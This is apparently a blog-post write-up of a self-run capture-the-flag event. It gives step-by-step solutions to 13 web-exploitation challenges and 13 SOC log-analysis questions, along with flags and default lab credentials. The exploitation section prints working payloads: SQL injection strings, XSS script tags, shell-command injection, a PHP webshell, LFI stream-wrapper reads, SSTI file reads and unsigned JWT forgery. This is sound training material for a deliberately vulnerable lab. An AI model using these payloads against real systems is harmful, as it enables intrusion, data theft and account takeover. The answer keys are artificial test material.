First Blog Post

๐Ÿšฉ CyberTech Solutions CTF โ€” Full Writeup

A complete walkthrough of every challenge from the CyberTech Solutions Capture The Flag event โ€” covering SQL injection, XSS, IDOR, CSRF, JWT exploits, log analysis, threat hunting, and more.

March 2026 Akash Ravindran ~15 min read
๐Ÿด Challenges: 26
๐Ÿ† Total Points: 3,500
๐Ÿ”‘ Flag Format: CCEE{...}

๐Ÿ‘‹ Introduction

This is my first blog post! I recently organized and ran the CyberTech Solutions CTF โ€” a Capture The Flag competition with both offensive (Red Team) and defensive (Blue Team) tracks. The event featured 26 challenges worth a combined 3,500 points, ranging from classic web exploitation to SOC-style log analysis. Below is the full writeup for every challenge.

๐Ÿ”‘ Default Credentials: admin:admin123 ยท john:password123 ยท guest:guest
โš”๏ธ

Red Team โ€” Exploitation

13 challenges ยท 1,750 points

#01 SQL Injection
easy 100pts
๐ŸŽฏ Target: /challenge/login_legacy.php โ†’ /challenge/dashboard.php

Walkthrough

  1. Open /challenge/login.php and View Source โ€” a comment at the bottom reveals: <!-- Legacy login at login_legacy.php has known SQL injection issues -->. Also check /challenge/robots.txt โ€” it lists Disallow: /login_legacy.php.
  2. Navigate to /challenge/login_legacy.php.
  3. In the Username field, enter: ' OR '1'='1 โ€” in the Password field, enter anything.
  4. Click Sign In โ€” the query becomes SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'anything'. Since '1'='1' is always true, it returns the first user (admin).
  5. Click the Dashboard link โ€” the flag is displayed on the page.
sql
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'anything'
๐Ÿ’ก
Other working payloads: admin' -- (comments out password check), ' OR 1=1-- (returns all users).
๐Ÿ
Flag
CCEE{sql_1nj3ct10n_m4st3r}
#02 Reflected XSS
easy 100pts
๐ŸŽฏ Target: /challenge/about.php

Walkthrough

  1. Visit /challenge/about.php and click any View Profile button. The URL changes to about.php?member=Robert%20Anderson โ€” the name is reflected without sanitization.
  2. Craft a URL with a script tag: /challenge/about.php?member=<script>alert('XSS')</script>
  3. Open the URL โ€” JavaScript executes and a hint appears: "๐ŸŽ‰ XSS Detected!"
  4. Open DevTools โ†’ Application โ†’ Cookies โ€” find the xss_reward cookie.
html
๐Ÿ
Flag
CCEE{xss_r3fl3ct3d_4tt4ck}
#03 Stored XSS
easy 100pts
๐ŸŽฏ Target: /challenge/contact.php

Walkthrough

  1. Visit /challenge/contact.php and scroll to Public Feedback.
  2. Fill the contact form โ€” Name: Attacker, Email: attacker@evil.com, Message: <script>alert('XSS')</script>
  3. Click Send Message โ€” the page reloads and your script executes from the stored message.
  4. A hint card appears โ€” open DevTools โ†’ Cookies โ†’ find stored_xss_reward.
html
๐Ÿ
Flag
CCEE{st0r3d_xss_1n_c0nt4ct}
#04 IDOR
easy 100pts
๐ŸŽฏ Target: /challenge/view_message.php

Walkthrough

  1. Log in as john:password123.
  2. Visit the Contact page and click on any public message โ€” the URL is view_message.php?id=2.
  3. Change the id parameter to 1: /challenge/view_message.php?id=1
  4. Message id=1 is a private admin message โ€” there's no authorization check, so it renders anyway. The message body contains the flag.
๐Ÿ
Flag
CCEE{1d0r_vuln3r4b1l1ty_f0und}
#05 Information Disclosure
easy 50pts
๐ŸŽฏ Target: /challenge/config.php.bak

Walkthrough

  1. Check /challenge/robots.txt: Disallow: /config.php.bak
  2. Navigate to /challenge/config.php.bak โ€” since .bak isn't processed by PHP, the raw source is shown.
  3. Inside you'll find hardcoded credentials and the flag.
php
// Secret flag for CTF
// CCEE{b4ckup_f1l3s_l34k_s3cr3ts}
๐Ÿ
Flag
CCEE{b4ckup_f1l3s_l34k_s3cr3ts}
#06 HTTP Header Leak
easy 50pts
๐ŸŽฏ Target: /challenge/dashboard.php

Walkthrough

  1. Log in and visit the dashboard.
  2. Open DevTools โ†’ Network tab, refresh the page.
  3. Click the dashboard.php request and check Response Headers โ€” the flag is in a custom header: X-Custom-Flag: CCEE{h34d3r5_t3ll_s3cr3ts}
bash
curl -I -b cookies.txt http:///challenge/dashboard.php
# X-Custom-Flag: CCEE{h34d3r5_t3ll_s3cr3ts}
๐Ÿ
Flag
CCEE{h34d3r5_t3ll_s3cr3ts}
#07 Local File Inclusion
medium 200pts
๐ŸŽฏ Target: /challenge/admin.php

Walkthrough

  1. Log in as admin:admin123 (credentials from Challenge 5).
  2. Navigate to /challenge/admin.php โ€” notice sidebar links like ?file=admin_welcome.
  3. Use a PHP stream wrapper to read the config source: /challenge/admin.php?file=php://filter/read=convert.base64-encode/resource=includes/config
  4. A base64 string appears in the Console Output area. Decode it to reveal the flag.
bash
echo "PD9waHAK..." | base64 -d
# Result: CCEE{c0nf1g_f1l3s_4r3_tr34sur3s}
๐Ÿ
Flag
CCEE{c0nf1g_f1l3s_4r3_tr34sur3s}
#08 Command Injection
medium 200pts
๐ŸŽฏ Target: /challenge/tools.php

Walkthrough

  1. Log in and go to /challenge/tools.php (Network Tools).
  2. Select Ping, enter: 127.0.0.1; whoami โ€” output shows www-data, confirming injection.
  3. Now enter: ; cat includes/cmd_flag.txt โ€” the flag is printed.
bash
; cat includes/cmd_flag.txt
๐Ÿ
Flag
CCEE{c0mm4nd_1nj3ct10n_pwn3d}
#09 Logic Flaw
medium 150pts
๐ŸŽฏ Target: /challenge/shop.php

Walkthrough

  1. Log in as john:password123 and go to /challenge/shop.php. You start with $100. The CTF Flag item costs $1,000,000.
  2. Find any item (e.g. "Standard Support" at $50). Set the quantity to -100000 and click Buy Now.
  3. The server calculates: 50 ร— (-100000) = -5,000,000, then 100 - (-5,000,000) = 5,000,100. You now have $5,000,100.
  4. Buy the CTF Flag item (quantity 1).
๐Ÿ’ก
The server doesn't validate that quantity must be positive โ€” a classic business logic flaw.
๐Ÿ
Flag
CCEE{l0g1c_fl4w_sh0pp1ng_spr33}
#10 CSRF
medium 150pts
๐ŸŽฏ Target: /challenge/profile.php + /challenge/report.php

Walkthrough

  1. Log in as john:password123 and inspect /challenge/profile.php โ€” no CSRF tokens on any form.
  2. Use the provided exploit page (auto-submitting form that changes the password to hacked123).
  3. Go to /challenge/report.php and submit the exploit URL โ€” the admin bot visits it and the hidden form fires.
  4. Admin's password is now hacked123. Log in as admin / hacked123.
  5. Visit /challenge/profile.php โ€” the Admin Secrets section shows the flag.
๐Ÿ
Flag
CCEE{csrf_n0_t0k3n_n0_pr0t3ct10n}
#11 Unrestricted File Upload
medium 150pts
๐ŸŽฏ Target: /challenge/careers.php

Walkthrough

  1. Create a PHP webshell: <?php system($_GET['cmd']); ?> and save as shell.php.
  2. Go to /challenge/careers.php and submit an application, uploading shell.php as the resume.
  3. Access the webshell: /challenge/uploads/shell.php?cmd=cat includes/upload_flag.txt
php
๐Ÿ
Flag
CCEE{unr3str1ct3d_f1l3_upl04d_rce}
#12 SSTI
hard 250pts
๐ŸŽฏ Target: /challenge/newsletter.php?mode=preview

Walkthrough

  1. Visit /challenge/newsletter.php โ€” add ?mode=preview to access the hidden Template Editor.
  2. Confirm code execution โ€” enter: ${7*7} โ†’ it renders 49.
  3. Enter: ${file_get_contents('includes/ssti_flag.txt')} โ€” the flag is rendered.
text
${file_get_contents('includes/ssti_flag.txt')}
๐Ÿ
Flag
CCEE{sst1_t3mpl4t3_1nj3ct10n_pwn3d}
#13 JWT Exploitation
hard 250pts
๐ŸŽฏ Target: /challenge/jwt_demo.php + /challenge/api/auth.php

Walkthrough

  1. Get a legitimate JWT by logging in via the API as guest:guest.
  2. Decode the token โ€” it uses HS256 algorithm.
  3. Forge a new token with "alg":"none" and payload: {"user_id":1,"username":"admin","role":"admin"}
  4. Base64url-encode both parts and assemble: <header>.<payload>. (empty signature, keep trailing dot).
  5. Access the admin endpoint with the forged token.
bash
echo -n '{"typ":"JWT","alg":"none"}' | base64 | tr '+/' '-_' | tr -d '='
echo -n '{"user_id":1,"username":"admin","role":"admin","iat":1234567890}' | base64 | tr '+/' '-_' | tr -d '='
๐Ÿ
Flag
CCEE{jwt_4lg0r1thm_c0nfus10n_4tt4ck}
๐Ÿ›ก๏ธ

Blue Team โ€” SOC Investigation

13 challenges ยท 1,750 points ยท Dashboard: analyst:analyst123

#01 First Contact
Alert Triage easy 100pts
โ“
Question: At what exact timestamp (HH:MM:SS) was the first attack alert recorded on Feb 08?

Walkthrough

  1. Log into the Blue Team dashboard.
  2. Sort the log feed by Time (ascending).
  3. Skip benign system messages (jk2_init(), workerEnv.init()).
  4. The first ALERT entry is: Feb 08 00:01:52 firewall-02 waf: ALERT CMD injection detected
๐Ÿ
Flag
CCEE{00:01:52}
#02 Identify the Spray
SSH Analysis easy 100pts
โ“
Question: Which source IP has the most failed SSH password attempts targeting the root account?

Walkthrough

  1. Filter by SSH or search for Failed password for root.
  2. Tally per IP: 112.95.230.3 โ†’ 15, 5.36.59.76 โ†’ 10, 173.234.31.186 โ†’ 10.
๐Ÿ
Flag
CCEE{112.95.230.3}
#03 Attack Surface
Log Classification easy 100pts
โ“
Question: Which attack type triggered the most WAF alerts?

Walkthrough

  1. Check the Attack Vectors chart or count ALERT entries by type.
  2. XSS: 180, RCE: 177, SSTI: 168, CMD Injection: 164, SQLi: 156, LFI: 155.
๐Ÿ
Flag
CCEE{xss}
#04 File Target
LFI Analysis easy 100pts
โ“
Question: What file was the attacker attempting to read via LFI?

Walkthrough

  1. Filter by LFI โ€” every alert shows: GET /vulnerable.php?page=../../../../etc/passwd
  2. Target file: /etc/passwd โ†’ formatted as etc_passwd.
๐Ÿ
Flag
CCEE{etc_passwd}
#05 Noise Filter
False Positive ID easy 50pts
โ“
Question: Which recurring application initialization message is benign noise, NOT an attack?

Walkthrough

  1. Browse non-ALERT entries and count recurring patterns.
  2. workerEnv.init() ok: 145 times, jk2_init() Found child: 115 times.
  3. jk2_init() is Apache mod_jk (Tomcat connector) initialization โ€” completely benign.
๐Ÿ
Flag
CCEE{jk2_init}
#06 System Health
Operational Logs easy 50pts
โ“
Question: What system warning appears 26 times, indicating an infrastructure problem?

Walkthrough

  1. Search for warning in the logs.
  2. Find: warning: disk space low on /var/log appearing 26 times across multiple hosts.
๐Ÿ
Flag
CCEE{disk_space_low}
#07 Suspicious Domain
SSH Forensics medium 200pts
โ“
Question: What FQDN triggered the SSHD POSSIBLE BREAK-IN ATTEMPT warning?

Walkthrough

  1. Search for POSSIBLE BREAK-IN ATTEMPT.
  2. Find: reverse mapping checking getaddrinfo for ns.marryaldkfaczcz.com [173.234.31.186] failed
  3. The random-looking domain is characteristic of a DGA (Domain Generation Algorithm).
๐Ÿ
Flag
CCEE{ns.marryaldkfaczcz.com}
#08 Top Attacker
Attacker Profiling medium 200pts
โ“
Question: Which IP generated the most total log entries, and how many? Format: IP_count

Walkthrough

  1. Correlate all log entries per SSH attacker IP.
  2. 173.234.31.186: 50 entries, 112.95.230.3: 40, 218.188.2.4: 38.
  3. 173.234.31.186 shows the most diverse activity: auth failures, invalid user attempts, DNS failures, break-in alerts.
๐Ÿ
Flag
CCEE{173.234.31.186_50}
#09 Privilege Check
RCE Analysis medium 150pts
โ“
Question: What user account was executing commands during the RCE attempts?

Walkthrough

  1. Filter by RCE โ€” every alert follows: ALERT RCE Attempt: uname -a executed by www-data
  2. www-data = web server process user. Web-level access, not root.
๐Ÿ
Flag
CCEE{www-data}
#10 Brute Lockout
SSH Investigation medium 150pts
โ“
Question: Which IP caused PAM to log ignoring max retries; 6 > 3?

Walkthrough

  1. Search for max retries โ€” find: PAM service(sshd) ignoring max retries; 6 > 3
  2. These entries come from SSH session 24227.
  3. Correlate session 24227: Failed password for root from 5.36.59.76
๐Ÿ
Flag
CCEE{5.36.59.76}
#11 Username Harvest
Credential Attack medium 150pts
โ“
Question: List the three invalid usernames attempted via SSH, sorted by frequency.

Walkthrough

  1. Search for Invalid user.
  2. webmaster: 10 attempts (173.234.31.186), test9: 5 (52.80.34.196), chen: 5 (202.100.179.208).
๐Ÿ
Flag
CCEE{webmaster_test9_chen}
#12 Cloud Attribution
Threat Intel hard 250pts
โ“
Question: Identify the cloud prefix, AWS region, and username. Format: prefix_region_username

Walkthrough

  1. Search for cloud-related hostnames in SSH logs.
  2. Find: rhost=ec2-52-80-34-196.cn-north-1.compute.amazonaws.com.cn
  3. Prefix: ec2, Region: cn-north-1 (AWS China โ€“ Beijing).
  4. Cross-reference IP 52.80.34.196: Invalid user test9.
๐Ÿ
Flag
CCEE{ec2_cn-north-1_test9}
#13 Kill Chain
Attack Reconstruction hard 250pts
โ“
Question: List all unique web attack types in chronological order of first appearance.

Walkthrough

  1. Sort ALERT entries by timestamp and track first occurrence:
  2. 00:02:29 โ†’ LFI, 00:04:24 โ†’ SQLi, 00:07:10 โ†’ SSTI, 00:08:03 โ†’ XSS, 00:09:58 โ†’ RCE.
  3. This mirrors a real attack lifecycle: recon โ†’ DB probing โ†’ code execution โ†’ client-side โ†’ full compromise.
๐Ÿ
Flag
CCEE{lfi_sqli_ssti_xss_rce}

๐Ÿ“Š Scoring Summary

TierRed TeamBlue TeamCombined
๐ŸŸข Easy6 ยท 500pts6 ยท 500pts1,000pts
๐ŸŸก Medium5 ยท 850pts5 ยท 850pts1,700pts
๐Ÿ”ด Hard2 ยท 500pts2 ยท 500pts1,000pts
Total13 ยท 1,750pts13 ยท 1,750pts3,500pts